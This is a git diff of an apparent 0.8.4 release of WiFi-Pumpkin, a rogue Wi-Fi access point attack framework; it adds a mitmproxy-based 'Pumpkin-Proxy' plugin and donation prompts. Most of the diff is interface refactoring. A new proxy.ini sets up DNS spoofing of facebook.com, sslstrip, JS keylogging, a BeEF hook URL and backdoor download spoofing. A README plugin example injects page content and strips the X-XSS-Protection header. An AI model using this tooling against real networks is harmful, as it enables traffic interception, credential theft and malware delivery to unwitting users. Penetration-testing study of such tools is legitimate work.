diff --git a/CHANGELOG b/CHANGELOG
index ff35aa5..f5c2541 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,3 +1,9 @@
+Version 0.8.4
+-------------
+- added new plugin Pumpkin-Proxy (mitmproxy API)
+- added new notifications for donations
+- fixed theme default QtableView Color hover
+
Version 0.8.3
-------------
- added new design main tool
diff --git a/README.md b/README.md
index d3551e2..bfa171c 100644
--- a/README.md
+++ b/README.md
@@ -15,9 +15,9 @@ WiFi-Pumpkin is an open source security tool that provides the Rogue access poin
cd WiFi-Pumpkin
./installer.sh --install
```
-or download .deb file to install
+or download [.deb](https://github.com/P0cL4bs/WiFi-Pumpkin/releases) file to install
``` sh
-sudo dpkg -i wifi-pumpkin-0.8.3-amd64.deb #for arch 64.
+sudo dpkg -i wifi-pumpkin-0.8.4-all.deb
```
@@ -40,6 +40,7 @@ refer to the wiki for [Installation](https://github.com/P0cL4bs/WiFi-Pumpkin/wik
* Patch Binaries via MITM
* Karma Attacks (support hostapd-mana)
* LLMNR, NBT-NS and MDNS poisoner (Responder)
+* Pumpkin-Proxy (ProxyServer (mitmproxy API))
### Plugins
| Plugin | Description |
@@ -52,49 +53,68 @@ refer to the wiki for [Installation](https://github.com/P0cL4bs/WiFi-Pumpkin/wik
[Responder](https://github.com/lgandx/Responder) | Responder an LLMNR, NBT-NS and MDNS poisoner. Author: Laurent Gaffie
### Transparent Proxy
- Transparent proxies that you can use to intercept and manipulate HTTP traffic modifying requests and responses, that allow to inject javascripts into the targets visited. You can easily implement a module to inject data into pages creating a python file in directory "proxy" automatically will be listed on Injector-Proxy tab.
-### Plugins Example
- The following is a sample module that injects some contents into the
tag to set blur filter into body html page:
- ``` python
-import logging
-from Plugin import PluginProxy
-from core.utils import setup_logger
-
-class blurpage(PluginProxy):
- ''' this module proxy set blur into body page html response'''
- _name = 'blur_page'
- _activated = False
- _instance = None
- _requiresArgs = False
-
- @staticmethod
- def getInstance():
- if blurpage._instance is None:
- blurpage._instance = blurpage()
- return blurpage._instance
-
- def __init__(self):
- self.injection_code = []
-
- def LoggerInjector(self,session):
- setup_logger('injectionPage', './logs/AccessPoint/injectionPage.log',session)
- self.logging = logging.getLogger('injectionPage')
+![proxy](https://raw.githubusercontent.com/P0cL4bs/WiFi-Pumpkin/master/docs/proxyscenario.png)
- def setInjectionCode(self, code,session):
- self.injection_code.append(code)
- self.LoggerInjector(session)
-
- def inject(self, data, url):
- injection_code = ''' '''
- self.logging.info("Injected: %s" % (url))
- return data.replace('',injection_code )
+ Transparent proxies(mitmproxy) that you can use to intercept and manipulate HTTP traffic modifying requests and responses, that allow to inject javascripts into the targets visited. You can easily implement a module to inject data into pages creating a python file in directory "plugins/extension/" automatically will be listed on Pumpkin-Proxy tab.
+#### Plugins Example Dev
+ ``` python
+from mitmproxy.models import decoded # for decode content html
+from plugins.extension.plugin import PluginTemplate
+
+class Nameplugin(PluginTemplate):
+ meta = {
+ 'Name' : 'Nameplugin',
+ 'Version' : '1.0',
+ 'Description' : 'Brief description of the new plugin',
+ 'Author' : 'by dev'
+ }
+ def __init__(self):
+ for key,value in self.meta.items():
+ self.__dict__[key] = value
+ # if you want set arguments check refer wiki more info.
+ self.ConfigParser = False # No require arguments
+
+ def request(self, flow):
+ print flow.__dict__
+ print flow.request.__dict__
+ print flow.request.headers.__dict__ # request headers
+ host = flow.request.pretty_host # get domain on the fly requests
+ versionH = flow.request.http_version # get http version
+
+ # get redirect domains example
+ # pretty_host takes the "Host" header of the request into account,
+ if flow.request.pretty_host == "example.org":
+ flow.request.host = "mitmproxy.org"
+
+ # get all request Header example
+ self.send_output.emit("\n[{}][HTTP REQUEST HEADERS]".format(self.Name))
+ for name, valur in flow.request.headers.iteritems():
+ self.send_output.emit('{}: {}'.format(name,valur))
+
+ print flow.request.method # show method request
+ # the model printer data
+ self.send_output.emit('[NamePlugin]:: this is model for save data logging')
+
+ def response(self, flow):
+ print flow.__dict__
+ print flow.response.__dict__
+ print flow.response.headers.__dict__ #convert headers for python dict
+ print flow.response.headers['Content-Type'] # get content type
+
+ #every HTTP response before it is returned to the client
+ with decoded(flow.response):
+ print flow.response.content # content html
+ flow.response.content.replace('','injected
') # replace content tag
+
+ del flow.response.headers["X-XSS-Protection"] # remove protection Header
+
+ flow.response.headers["newheader"] = "foo" # adds a new header
+ #and the new header will be added to all responses passing through the proxy
```
-
+#### About plugins
+[plugins](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/Plugins) on the wiki
+
### Screenshots
[Screenshot](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/Screenshots) on the wiki
diff --git a/core/config/app/config.ini b/core/config/app/config.ini
index 1bf306b..2af584a 100644
--- a/core/config/app/config.ini
+++ b/core/config/app/config.ini
@@ -69,21 +69,23 @@ range=10.0.0.20/10.0.0.50
[dockarea]
advanced=true
-dock_credencials=true
+dock_credencials=false
dock_urlmonitor=true
dock_bdfproxy=false
dock_dns2proxy=false
dock_responder=false
+dock_PumpkinProxy=true
[plugins]
noproxy=false
netcreds_plugin=true
-dns2proxy_plugin=true
+dns2proxy_plugin=false
sergioproxy_plugin=false
bdfproxy_plugin=false
responder_plugin=false
-bdfproxy_config=plugins/BDFProxy-ng/bdfproxy.cfg
-responder_config=plugins/Responder/Responder.conf
+pumpkinproxy_plugin=true
+bdfproxy_config=plugins/external/BDFProxy-ng/bdfproxy.cfg
+responder_config=plugins/external/Responder/Responder.conf
[iptables]
iptables_0_masq=iptables -P FORWARD ACCEPT
diff --git a/core/config/app/proxy.ini b/core/config/app/proxy.ini
new file mode 100644
index 0000000..b1dc6e9
--- /dev/null
+++ b/core/config/app/proxy.ini
@@ -0,0 +1,38 @@
+[plugins]
+dnsspoof=false
+sslstrip=false
+jskeylogger=false
+stickycookie=false
+downloadspoof=false
+js_inject=false
+html_inject=false
+dump_post_data=false
+upsidedownternet=false
+beef=false
+replaceImages=false
+inverted_internet=false
+shakepage=false
+
+[set_dnsspoof]
+domain_0={'facebook.com':'10.0.0.1'}
+domain_1={'teste.com':'10.0.0.1'}
+domain_2={'example.com':'10.0.0.1'}
+domain_3={'website.com':'10.0.0.1'}
+
+[set_js_inject]
+url=http://example.com/foo.js
+
+[set_replaceImages]
+path=icons/logo.png
+
+[set_beef]
+hook=http://172.16.149.141:3000/hook.js
+
+[set_html_inject]
+content_path=file.html
+
+[set_downloadspoof]
+backdoorExePath=plguins/extension/tmp/exe/backdoor.exe
+backdoorPDFpath=plguins/extension/tmp/pdf/backdoor.pdf
+backdoorWORDpath=plguins/extension/tmp/doc/backdoor.doc
+backdoorXLSpath=plguins/extension/tmp/xls/backdoor.xls
diff --git a/core/config/commits/Lcommits.cfg b/core/config/commits/Lcommits.cfg
index e85c8aa..d4bfe6d 100644
--- a/core/config/commits/Lcommits.cfg
+++ b/core/config/commits/Lcommits.cfg
@@ -1,4 +1,12 @@
master:
+[
+ { Version: '0.8.4'}
+ { changelog : 'added new plugin Pumpkin-Proxy (mitmproxy API)' },
+ { changelog : 'added new notifications for donations' },
+ { changelog : 'fixed theme default QtableView Color hover' },
+]
+
+WiFiPumpkin083:
[
{ Version: '0.8.3'}
{ changelog : 'added new design main tool' },
diff --git a/core/helpers/about.py b/core/helpers/about.py
index 1ffd2b8..1e2c4d7 100644
--- a/core/helpers/about.py
+++ b/core/helpers/about.py
@@ -35,6 +35,8 @@ def __init__(self,parent = None):
self.scroll.setWidget(self.scrollwidget)
self.formMode = QFormLayout()
+ self.formMode.addRow(QLabel('@mitmproxy'))
+ self.formMode.addRow(QLabel('ProxyServer tranparent HTTP proxy
'))
self.formMode.addRow(QLabel('@TimSchumi'))
self.formMode.addRow(QLabel('Debian package build for WiFi-Pumpkin
'))
self.formMode.addRow(QLabel('@psychomario'))
@@ -95,8 +97,9 @@ def Qui_update(self):
self.tabwid = QTabWidget(self)
self.TabAbout = QWidget(self)
self.TabVersion = QWidget(self)
- self.TabTranks = QWidget()
+ self.TabTranks = QWidget(self)
self.TabChangelog = QWidget(self)
+ self.TabDonate = QWidget(self)
self.btn_exit = QPushButton("Close")
self.btn_exit.setFixedWidth(90)
self.btn_exit.setIcon(QIcon('icons/cancel.png'))
@@ -106,6 +109,7 @@ def Qui_update(self):
self.formVersion = QFormLayout()
self.formTranks = QFormLayout()
self.formChange = QFormLayout()
+ self.formDonate = QFormLayout()
# About section
self.formAbout.addRow(self.desc)
@@ -121,6 +125,20 @@ def Qui_update(self):
self.formAbout.addRow(QLabel('{}'.format(self.author[-14:])))
self.TabAbout.setLayout(self.formAbout)
+ #Donate section
+ self.formDonate.addRow(QLabel('Open source project require developer time.
'
+ ' You need dev time to fix bugs, you need dev time
to add features,'
+ " thank you for your contribution! "))
+ self.imagePay = QLabel()
+ self.imagePay.setPixmap(QPixmap('icons/donatepay.gif'))
+ self.formDonate.addRow(QLabel(''))
+ self.formDonate.addRow(QLabel('Support Donations:'))
+ self.formDonate.addRow(self.imagePay)
+ self.formDonate.addRow(QLabel('Paypal:'),QLabel('WiFi-Pumpkin project - Paypal Donataion '))
+ self.formDonate.addRow(QLabel('BTC:'),QLabel('1HBXz6XX3LcHqUnaca5HRqq6rPUmA3pf6f'))
+ self.TabDonate.setLayout(self.formDonate)
+
# Version Section
self.formVersion.addRow(QLabel('Version: {}
'.format(self.version)))
self.formVersion.addRow(QLabel('Using:'))
@@ -147,6 +165,7 @@ def Qui_update(self):
self.tabwid.addTab(self.TabVersion,'Version')
self.tabwid.addTab(self.TabChangelog,'ChangeLog')
self.tabwid.addTab(self.TabTranks,'TranksTo')
+ self.tabwid.addTab(self.TabDonate, 'Donate')
self.form.addRow(self.tabwid)
self.form2.addSpacing(240)
self.form2.addWidget(self.btn_exit)
diff --git a/core/helpers/report.py b/core/helpers/report.py
index 2ba428a..178e3f9 100644
--- a/core/helpers/report.py
+++ b/core/helpers/report.py
@@ -60,7 +60,7 @@ def get_all_items_Unchecked(self):
def convertIt(self,printer):
# generate file pdf
self.ExportPDF.print_(printer)
- QMessageBox.information(self, 'WiFi Pumpkin Report PDF', 'file PDF has been generated with success.')
+ QMessageBox.information(self, 'WiFi Pumpkin Report PDF', 'file PDF has been generated successfully.')
def exportFilesSystem(self):
# export HTML or pdf file
@@ -89,7 +89,7 @@ def exportFilesSystem(self):
if len(filename[0]) != 0:
with open(str(filename[0]),'w') as filehtml:
filehtml.write(contents['HTML']),filehtml.close()
- QMessageBox.information(self, 'WiFi Pumpkin Report HTML', 'file has been saved with success.')
+ QMessageBox.information(self, 'WiFi Pumpkin Report HTML', 'file logs has been saved successfully.')
elif self.checkPDF.isChecked():
filename = QFileDialog.getSaveFileNameAndFilter(self,
diff --git a/core/helpers/update.py b/core/helpers/update.py
index f644398..8ed761b 100644
--- a/core/helpers/update.py
+++ b/core/helpers/update.py
@@ -138,7 +138,7 @@ def RcheckCommits(self,commits):
item.setSizeHint(QSize(20,20))
self.LCommits.addItem(item)
return self.btnCheck.setEnabled(True)
- elif 'new Version available WiFi-Pumpkin v' in commits:
+ elif 'New version available WiFi-Pumpkin v' in commits:
reply = QMessageBox.question(self, 'Update Information',
'{}, would you like to update??'.format(commits), QMessageBox.Yes |
QMessageBox.No, QMessageBox.No)
@@ -159,7 +159,7 @@ def RcheckCommits(self,commits):
elif '::updated' in commits:
self.pb.update_bar(100)
QMessageBox.information(self,'Update Information',
- "Already up-to-date. You're required to restart the tool to apply this update.")
+ "Already up-to-date. Please restart WiFi-Pumpkin to apply this update.")
self.btnUpdate.setDisabled(True)
else:
self.LOutput.addItem(commits)
diff --git a/core/loaders/master/github.py b/core/loaders/master/github.py
index a26ce76..67d3b56 100644
--- a/core/loaders/master/github.py
+++ b/core/loaders/master/github.py
@@ -83,7 +83,7 @@ def NewVersionUpdate(self):
def checkUpdate(self,Version):
if self.commit_update['Version'] != Version:
- return self.emit(SIGNAL('Activated ( QString )'),'new Version available WiFi-Pumpkin v'
+ return self.emit(SIGNAL('Activated ( QString )'),'New version available WiFi-Pumpkin v'
+self.commit_update['Version'])
if self.commit_update['size'] > self.commit_local['size']:
for commit in self.commit_update['lines'][self.commit_local['size']:]:
diff --git a/core/loaders/models/PackagesUI.py b/core/loaders/models/PackagesUI.py
index 7717a9d..ed46f84 100644
--- a/core/loaders/models/PackagesUI.py
+++ b/core/loaders/models/PackagesUI.py
@@ -2,6 +2,7 @@
from PyQt4.QtCore import *
from core.utils import Refactor,set_monitor_mode
from subprocess import Popen,PIPE
+from core.utility.collection import SettingsINI
from core.utility.settings import frm_Settings
from modules.servers.PhishingManager import frm_PhishingManager
from core.utility.threads import ThreadPopen,ThreadScan,ProcessThread,ThreadFastScanIP
diff --git a/core/main.py b/core/main.py
index 6ea5cfc..2941669 100644
--- a/core/main.py
+++ b/core/main.py
@@ -29,7 +29,7 @@
setup_logger
)
from core.widgets.tabmodels import (
- PumpkinProxy,PumpkinMonitor,
+ ProxySSLstrip,PumpkinMitmproxy,PumpkinMonitor,
PumpkinSettings
)
@@ -40,10 +40,10 @@
from core.utility.threads import (
ProcessHostapd,Thread_sergioProxy,
ThRunDhcp,Thread_sslstrip,ProcessThread,
- ThreadReactor,ThreadPopen
+ ThreadReactor,ThreadPopen,ThreadPumpkinProxy
)
-from proxy import *
+from plugins.external.scripts import *
import modules as GUIModules
from core.helpers.about import frmAbout
from core.helpers.update import frm_githubUpdate
@@ -51,6 +51,7 @@
from core.helpers.update import ProgressBarWid
from core.helpers.report import frm_ReportLogger
from core.packets.dhcpserver import DHCPServer,DNSServer
+from core.widgets.notifications import ServiceNotify
from isc_dhcp_leases.iscdhcpleases import IscDhcpLeases
from netfilterqueue import NetfilterQueue
@@ -79,7 +80,7 @@
author = 'Marcos Nesster (@mh4x0f) P0cl4bs Team'
emails = ['mh4root@gmail.com','p0cl4bs@gmail.com']
license = ' GNU GPL 3'
-version = '0.8.3'
+version = '0.8.4'
update = '12/10/2016' # This is Brasil :D
desc = ['Framework for Rogue Wi-Fi Access Point Attacks']
@@ -165,6 +166,7 @@ def __init__(self, parent = None,window=None,Fsettings=None):
self.TabControl = QTabWidget()
self.Tab_Default = QWidget()
self.Tab_Injector = QWidget()
+ self.Tab_PumpkinPro = QWidget()
self.Tab_Settings = QWidget()
self.Tab_ApMonitor = QWidget()
self.Tab_Plugins = QWidget()
@@ -177,7 +179,6 @@ def __init__(self, parent = None,window=None,Fsettings=None):
self.dock.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred)
self.dock.setFeatures(QDockWidget.NoDockWidgetFeatures)
self.dock.setAllowedAreas(Qt.AllDockWidgetAreas)
- self.Tab_dock.addDockWidget(Qt.LeftDockWidgetArea, self.dock)
# icons menus left widgets
self.TabListWidget_Menu = QListWidget()
@@ -200,11 +201,17 @@ def __init__(self, parent = None,window=None,Fsettings=None):
self.TabListWidget_Menu.addItem(self.item_plugins)
self.item_injector = QListWidgetItem()
- self.item_injector.setText('Injector-Proxy')
+ self.item_injector.setText('SSLstrip-Proxy')
self.item_injector.setSizeHint(QSize(30,30))
self.item_injector.setIcon(QIcon('icons/mac.png'))
self.TabListWidget_Menu.addItem(self.item_injector)
+ self.item_pumpkinProxy = QListWidgetItem()
+ self.item_pumpkinProxy.setText('Pumpkin-Proxy')
+ self.item_pumpkinProxy.setSizeHint(QSize(30,30))
+ self.item_pumpkinProxy.setIcon(QIcon('icons/pumpkinproxy.png'))
+ self.TabListWidget_Menu.addItem(self.item_pumpkinProxy)
+
self.item_dock = QListWidgetItem()
self.item_dock.setText('Activity-Monitor')
self.item_dock.setSizeHint(QSize(30,30))
@@ -232,13 +239,15 @@ def __init__(self, parent = None,window=None,Fsettings=None):
# create Layout for add contents widgets TABs
self.ContentTabHome = QVBoxLayout(self.Tab_Default)
- self.ContentTabInject = QVBoxLayout(self.Tab_Injector)
self.ContentTabsettings= QVBoxLayout(self.Tab_Settings)
+ self.ContentTabInject = QVBoxLayout(self.Tab_Injector)
+ self.ContentTabPumpPro = QVBoxLayout(self.Tab_PumpkinPro)
self.ContentTabMonitor = QVBoxLayout(self.Tab_ApMonitor)
self.ContentTabPlugins = QVBoxLayout(self.Tab_Plugins)
self.Stack.addWidget(self.Tab_Settings)
self.Stack.addWidget(self.Tab_Plugins)
self.Stack.addWidget(self.Tab_Injector)
+ self.Stack.addWidget(self.Tab_PumpkinPro)
self.Stack.addWidget(self.Tab_dock)
self.Stack.addWidget(self.Tab_ApMonitor)
@@ -267,6 +276,10 @@ def __init__(self, parent = None,window=None,Fsettings=None):
'Responder': { # plugins responder output
'active' : self.FSettings.Settings.get_setting('dockarea',
'dock_Responder',format=bool),
+ },
+ 'PumpkinProxy': { # plugins Pumpkin-Proxy output
+ 'active' : self.FSettings.Settings.get_setting('dockarea',
+ 'dock_PumpkinProxy',format=bool),
}
}
self.ConfigTwin = {
@@ -310,10 +323,15 @@ def get_status_new_commits(self,flag):
def InjectorTABContent(self):
''' add Layout page Pump-Proxy in dashboard '''
- self.ProxyPluginsTAB = PumpkinProxy(self.PopUpPlugins,self,self.FSettings)
+ self.ProxyPluginsTAB = ProxySSLstrip(self.PopUpPlugins,self,self.FSettings)
self.ProxyPluginsTAB.sendError.connect(self.GetErrorInjector)
self.ContentTabInject.addLayout(self.ProxyPluginsTAB)
+ def PumpkinProxyTABContent(self):
+ ''' add Layout page PumpkinProxy in dashboard '''
+ self.PumpkinProxyTAB = PumpkinMitmproxy(main_method=self)
+ self.ContentTabPumpPro.addLayout(self.PumpkinProxyTAB)
+
def getContentTabDock(self,docklist):
''' get tab activated in Advanced mode '''
self.dockAreaList = docklist
@@ -421,11 +439,12 @@ def DefaultTABContent(self):
action = QWidgetAction(self.btnHttpServer)
action.setDefaultWidget(self.FormPopup)
self.btnHttpServer.menu().addAction(action)
+ self.btnHttpServer.setHidden(True)
self.GroupAP = QGroupBox()
self.GroupAP.setTitle('Access Point::')
self.FormGroup3.addRow('Gateway:', self.EditGateway)
- self.FormGroup3.addRow('SSID:', self.EditApName)
+ self.FormGroup3.addRow('SSID:', self.EditApName)
self.FormGroup3.addRow('Channel:', self.EditChannel)
self.GroupAP.setLayout(self.FormGroup3)
self.GroupAP.setFixedWidth(200)
@@ -434,15 +453,13 @@ def DefaultTABContent(self):
self.btrn_refresh = QPushButton('Refresh')
self.btrn_refresh.setIcon(QIcon('icons/refresh.png'))
self.btrn_refresh.clicked.connect(self.refrash_interface)
- self.btrn_refresh.setFixedWidth(120)
- self.selectCard.setFixedWidth(120)
+ self.btrn_refresh.setFixedWidth(90)
+ self.btrn_refresh.setFixedHeight(25)
self.layout = QFormLayout()
self.GroupAdapter = QGroupBox()
self.GroupAdapter.setTitle('Network Adapter::')
- self.layout.addRow(self.selectCard)
- self.layout.addRow(self.btrn_refresh)
- self.layout.addRow(self.btnHttpServer)
+ self.layout.addRow(self.selectCard,self.btrn_refresh)
self.GroupAdapter.setLayout(self.layout)
self.btn_start_attack = QPushButton('Start', self)
@@ -463,9 +480,14 @@ def DefaultTABContent(self):
self.slipt.addWidget(self.GroupAP)
self.slipt.addWidget(self.GroupAdapter)
+ self.donatelink = 'https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=PUPJEGHLJPFQL'
+ self.donateLabel = ServiceNotify('Donations allow us to devote more time to the project so'
+ ' if you are able to donate any amount. click ',title='Attention',
+ link=self.donatelink,timeout=15000)
# set main page Tool
self.widget = QWidget()
self.layout = QVBoxLayout(self.widget)
+ self.layout.addWidget(self.donateLabel)
self.layout.addWidget(self.TabInfoAP)
self.Main_.addWidget(self.widget)
self.ContentTabHome.addLayout(self.Main_)
@@ -474,6 +496,7 @@ def intGUI(self):
''' configure GUI default window '''
self.DefaultTABContent()
self.InjectorTABContent()
+ self.PumpkinProxyTABContent()
self.SettingsTABContent()
self.ApMonitorTabContent()
self.PluginsTABContent()
@@ -517,21 +540,19 @@ def intGUI(self):
Menu_tools.addAction(btn_drift)
#menu module
- Menu_module = self.myQMenuBar.addMenu('&modules')
- btn_deauth = QAction('Deauth W. Attack', self)
- btn_probe = QAction('Probe W. Request',self)
- btn_mac = QAction('Mac Changer', self)
- btn_dhcpStar = QAction('DHCP S. Attack',self)
+ Menu_module = self.myQMenuBar.addMenu('&Modules')
+ btn_deauth = QAction('Wi-Fi deauthentication', self)
+ btn_probe = QAction('Wi-Fi Probe Request',self)
+ btn_dhcpStar = QAction('DHCP Starvation',self)
btn_winup = QAction('Windows Update',self)
- btn_arp = QAction('Arp Poison Attack',self)
- btn_dns = QAction('Dns Spoof Attack',self)
+ btn_arp = QAction('ARP Poisoner ',self)
+ btn_dns = QAction('DNS Spoofer ',self)
btn_phishing = QAction('Phishing Manager',self)
- action_settings = QAction('settings',self)
+ action_settings = QAction('Settings',self)
# Shortcut modules
btn_deauth.setShortcut('Ctrl+W')
btn_probe.setShortcut('Ctrl+K')
- btn_mac.setShortcut('Ctrl+M')
btn_dhcpStar.setShortcut('Ctrl+H')
btn_winup.setShortcut('Ctrl+N')
btn_dns.setShortcut('ctrl+D')
@@ -542,7 +563,6 @@ def intGUI(self):
#connect buttons
btn_probe.triggered.connect(self.showProbe)
btn_deauth.triggered.connect(self.formDauth)
- btn_mac.triggered.connect(self.form_mac)
btn_dhcpStar.triggered.connect(self.show_dhcpDOS)
btn_winup.triggered.connect(self.show_windows_update)
btn_arp.triggered.connect(self.show_arp_posion)
@@ -554,7 +574,6 @@ def intGUI(self):
btn_arp.setIcon(QIcon('icons/arp_.png'))
btn_winup.setIcon(QIcon('icons/arp.png'))
btn_dhcpStar.setIcon(QIcon('icons/dhcp.png'))
- btn_mac.setIcon(QIcon('icons/mac-changer.png'))
btn_probe.setIcon(QIcon('icons/probe.png'))
btn_deauth.setIcon(QIcon('icons/deauth.png'))
btn_dns.setIcon(QIcon('icons/dns_spoof.png'))
@@ -564,7 +583,6 @@ def intGUI(self):
# add modules menu
Menu_module.addAction(btn_deauth)
Menu_module.addAction(btn_probe)
- Menu_module.addAction(btn_mac)
Menu_module.addAction(btn_dhcpStar)
Menu_module.addAction(btn_winup)
Menu_module.addAction(btn_arp)
@@ -651,11 +669,6 @@ def formDauth(self):
self.Fdeauth.setGeometry(QRect(100, 100, 200, 200))
self.Fdeauth.show()
- def form_mac(self):
- ''' call GUI Mac changer module '''
- self.Fmac = GUIModules.frm_mac_generator()
- self.Fmac.setGeometry(QRect(100, 100, 300, 100))
- self.Fmac.show()
def show_dns_spoof(self):
''' call GUI DnsSpoof module '''
@@ -702,6 +715,8 @@ def checkPlugins(self):
if self.FSettings.Settings.get_setting('plugins','dns2proxy_plugin',format=bool):
self.PopUpPlugins.check_dns2proy.setChecked(True)
+ elif self.FSettings.Settings.get_setting('plugins','pumpkinproxy_plugin',format=bool):
+ self.PopUpPlugins.check_pumpkinProxy.setChecked(True)
elif self.FSettings.Settings.get_setting('plugins','sergioproxy_plugin',format=bool):
self.PopUpPlugins.check_sergioProxy.setChecked(True)
elif self.FSettings.Settings.get_setting('plugins','bdfproxy_plugin',format=bool):
@@ -854,10 +869,18 @@ def mConfigure(self):
self.EditApName.setText(self.FSettings.Settings.get_setting('accesspoint','ssid'))
self.EditChannel.setValue(self.FSettings.Settings.get_setting('accesspoint','channel',format=int))
self.ConfigTwin['PortRedirect'] = self.FSettings.redirectport.text()
+
# get all Wireless Adapter available and add in comboBox
- for i,j in enumerate(self.get_interfaces['all']):
- if search('wl', j):
- self.selectCard.addItem(self.get_interfaces['all'][i])
+ interfaces = self.get_interfaces['all']
+ wireless = []
+ for iface in interfaces:
+ if search('wl', iface):
+ wireless.append(iface)
+ self.selectCard.addItems(wireless)
+ interface = self.FSettings.Settings.get_setting('accesspoint','interfaceAP')
+ if interface != 'None' and interface in self.get_interfaces['all']:
+ self.selectCard.setCurrentIndex(wireless.index(interface))
+
# check if a program is installed
driftnet = popen('which driftnet').read().split('\n')
dhcpd = popen('which dhcpd').read().split("\n")
@@ -936,6 +959,7 @@ def Stop_PumpAP(self):
self.EditChannel.setEnabled(True)
self.PumpSettingsTAB.GroupDHCP.setEnabled(True)
self.PopUpPlugins.tableplugins.setEnabled(True)
+ self.PopUpPlugins.tableplugincheckbox.setEnabled(True)
self.btn_cancelar.setEnabled(False)
def delete_logger(self):
@@ -1167,6 +1191,7 @@ def Start_PumpAP(self):
self.EditChannel.setEnabled(False)
self.PumpSettingsTAB.GroupDHCP.setEnabled(False)
self.PopUpPlugins.tableplugins.setEnabled(False)
+ self.PopUpPlugins.tableplugincheckbox.setEnabled(False)
self.btn_cancelar.setEnabled(True)
# create thread dhcpd and connect fuction GetDHCPRequests
@@ -1195,18 +1220,19 @@ def Start_PumpAP(self):
self.FSettings.Settings.set_setting('accesspoint','interfaceAP',str(self.selectCard.currentText()))
- # load ProxyPLugins
- self.plugin_classes = Plugin.PluginProxy.__subclasses__()
- self.plugins = {}
- for p in self.plugin_classes:
- self.plugins[p._name] = p()
-
# check plugins that use sslstrip
if self.PopUpPlugins.check_dns2proy.isChecked() or self.PopUpPlugins.check_sergioProxy.isChecked():
+ # load ProxyPLugins
+ self.plugin_classes = Plugin.PluginProxy.__subclasses__()
+ self.plugins = {}
+ for p in self.plugin_classes:
+ self.plugins[p._name] = p()
+ # check if twisted is started
if not self.THReactor.isRunning():
self.THReactor.start()
+
if self.PopUpPlugins.check_netcreds.isChecked():
- self.Thread_netcreds = ProcessThread({'python':['plugins/net-creds/net-creds.py','-i',
+ self.Thread_netcreds = ProcessThread({'python':['plugins/external/net-creds/net-creds.py','-i',
str(self.selectCard.currentText()),'-k',self.currentSessionID]})
self.Thread_netcreds._ProcssOutput.connect(self.get_netcreds_output)
self.Thread_netcreds.setObjectName('Net-Creds')
@@ -1216,7 +1242,7 @@ def Start_PumpAP(self):
# create thread for plugin responder
setup_logger('responder', 'logs/AccessPoint/responder.log',self.currentSessionID)
self.responderlog = getLogger('responder')
- self.Thread_responder = ProcessThread({'python':['plugins/Responder/Responder.py','-I',
+ self.Thread_responder = ProcessThread({'python':['plugins/external/Responder/Responder.py','-I',
str(self.selectCard.currentText()),'-wrFbv','-k',self.currentSessionID]})
self.Thread_responder._ProcssOutput.connect(self.get_responder_output)
self.Thread_responder.setObjectName('Responder')
@@ -1224,7 +1250,7 @@ def Start_PumpAP(self):
if self.PopUpPlugins.check_dns2proy.isChecked():
# create thread for plugin DNS2proxy
- self.Thread_dns2proxy = ProcessThread({'python':['plugins/dns2proxy/dns2proxy.py','-i',
+ self.Thread_dns2proxy = ProcessThread({'python':['plugins/external/dns2proxy/dns2proxy.py','-i',
str(self.selectCard.currentText()),'-k',self.currentSessionID]})
self.Thread_dns2proxy._ProcssOutput.connect(self.get_dns2proxy_output)
self.Thread_dns2proxy.setObjectName('Dns2Proxy')
@@ -1245,12 +1271,21 @@ def Start_PumpAP(self):
elif self.PopUpPlugins.check_bdfproxy.isChecked():
# create thread for plugin BDFproxy-ng
- self.Thread_bdfproxy = ProcessThread({'python':['plugins/BDFProxy-ng/bdf_proxy.py',
- '-k',self.currentSessionID]})
+ self.Thread_bdfproxy = ProcessThread({'python':
+ ['plugins/external/BDFProxy-ng/bdf_proxy.py','-k',self.currentSessionID]})
self.Thread_bdfproxy._ProcssOutput.connect(self.get_bdfproxy_output)
self.Thread_bdfproxy.setObjectName('BDFProxy-ng')
self.Apthreads['RougeAP'].append(self.Thread_bdfproxy)
+ elif self.PopUpPlugins.check_pumpkinProxy.isChecked():
+ # create thread for plugin Pumpkin-Proxy
+ setup_logger('pumpkinproxy', 'logs/AccessPoint/pumpkin-proxy.log',self.currentSessionID)
+ self.Thread_PumpkinProxy = ThreadPumpkinProxy(self.currentSessionID)
+ self.Thread_PumpkinProxy.send.connect(self.get_PumpkinProxy_output)
+ self.Thread_PumpkinProxy.setObjectName('Pumpkin-Proxy')
+ self.Apthreads['RougeAP'].append(self.Thread_PumpkinProxy)
+ self.LogPumpkinproxy = getLogger('pumpkinproxy')
+
iptables = []
# get all rules in settings->iptables
for index in xrange(self.FSettings.ListRules.count()):
@@ -1317,6 +1352,14 @@ def get_bdfproxy_output(self,data):
except IndexError:
return None
+ def get_PumpkinProxy_output(self,data):
+ ''' get std_ouput the thread Pumpkin-Proxy and add in DockArea '''
+ if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool):
+ if hasattr(self,'dockAreaList'):
+ if self.PumpSettingsTAB.dockInfo['PumpkinProxy']['active']:
+ self.dockAreaList['PumpkinProxy'].writeModeData(data)
+ self.LogPumpkinproxy.info(data)
+
def create_sys_tray(self):
''' configure system tray icon for quick access '''
self.sysTray = QSystemTrayIcon(self)
@@ -1347,6 +1390,5 @@ def issue(self):
def donate(self):
''' open page donation the project '''
- url = QUrl('https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=PUPJEGHLJPFQL')
- if not QDesktopServices.openUrl(url):
- QMessageBox.warning(self, 'Open Url', 'Could not open url: {}'.format(url))
+ if not QDesktopServices.openUrl(self.donatelink):
+ QMessageBox.warning(self, 'Open Url', 'Could not open url: {}'.format(self.donatelink))
diff --git a/plugins/BDFProxy-ng/bdf/__init__.py b/core/servers/__init__.py
similarity index 100%
rename from plugins/BDFProxy-ng/bdf/__init__.py
rename to core/servers/__init__.py
diff --git a/plugins/BDFProxy-ng/bdf/arm/__init__.py b/core/servers/proxy/__init__.py
similarity index 100%
rename from plugins/BDFProxy-ng/bdf/arm/__init__.py
rename to core/servers/proxy/__init__.py
diff --git a/core/servers/proxy/controller/__init__.py b/core/servers/proxy/controller/__init__.py
new file mode 100644
index 0000000..8d1c8b6
--- /dev/null
+++ b/core/servers/proxy/controller/__init__.py
@@ -0,0 +1 @@
+
diff --git a/core/servers/proxy/controller/handler.py b/core/servers/proxy/controller/handler.py
new file mode 100644
